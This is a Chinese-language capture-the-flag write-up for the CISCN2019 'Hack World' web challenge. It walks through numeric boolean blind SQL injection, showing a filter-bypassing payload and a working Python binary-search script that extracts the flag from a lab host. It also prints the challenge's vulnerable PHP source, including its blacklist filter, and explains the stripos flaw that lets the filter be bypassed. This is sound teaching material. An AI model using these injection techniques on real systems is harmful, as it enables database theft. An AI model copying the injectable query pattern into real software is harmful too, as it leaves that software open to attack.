[CISCN2019 华北赛区 Day2 Web1]Hack World
0x00
打开web界面如下
这是一个注入题,并且提示了flag在flag表的flag字段
经过模糊测试,发现如下
- 输入1
返回 Hello, glzjin wants a girlfriend.
- 输入2
返回 Do you want to be my girlfriend?
- 输入其他数字
返回 Error Occured When Fetch Result.
- 输入字母
返回 bool(false)
- 输入字符串(包括空格)
返回 SQL Injection Checked.
根据上面我们可以推断,这是一个数字型布尔盲注
我们可以使用如下payload:
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
## ()可以代替空格的作用
## substr截取查询到的flag值
## if(*,1,2)判断语句如果*成立返回1否则返回2
我们接下来写python脚本来代替手工注入,脚本如下:
import requests
url = "http://38888593-aa19-4987-882a-986592d08855.node3.buuoj.cn/index.php"
flag= ""
for i in range(1,50):
high = 126
low = 32
mid = (high + low) // 2
while high > low:
data={
"id" : 'if(ascii(substr((select(flag)from(flag)),{0},1))>{1},1,2)'.format(i,mid)
}
res = requests.post(url,data=data)
if "Hello" in res.text:
low = mid + 1
else:
high = mid
mid = (high + low) // 2
flag += chr(int(mid))
print(flag)
执行脚本后,得到flag
0x01 总结
- 1.数字型布尔盲注
## substr字符串截取
## ascii函数经常用于盲注中写脚本来判断数据库中具体数据
## sql中的if用法
- 2.写python脚本
0x02 源码分析
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
一开始进行模糊测试的时候只发现过滤了空格,后来找到源码后才发现过滤了许多
下面我们来分析一下出现上面哪几种测试结果的原因:
返回 Hello, glzjin wants a girlfriend.
返回的结果为数据库中的ID=1的数据,此测试为正常测试结果
返回 Do you want to be my girlfriend?
返回的结果为数据库中的ID=2的数据,此测试为正常测试结果
返回 Error Occured When Fetch Result.
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
## mysql_fetch_array:从结果集中取数据作为关联数组,如果结果集中没有数据则返回false
## 这里输入其他数字,数据库中没有数据,查询到的结果集为空,所以打印"Error Occured When Fetch Result."
返回 bool(false)
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
.....
}else{
var_dump($query);
}
## mysql_query:执行一条sql语句,如果执行报错返回false
## 这里输入字母会报错,因为ID为整型,var_dump函数直接打印出(打印的时候包括数据类型)
返回 SQL Injection Checked.
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
这里有一点问题,stripos函数返回某字符串在指定字符串中的位置,但是它是从零开始,
如果被过滤的字符串在开头则返回0,不会执行上面if里面的return false,而是返回true,导致过滤失效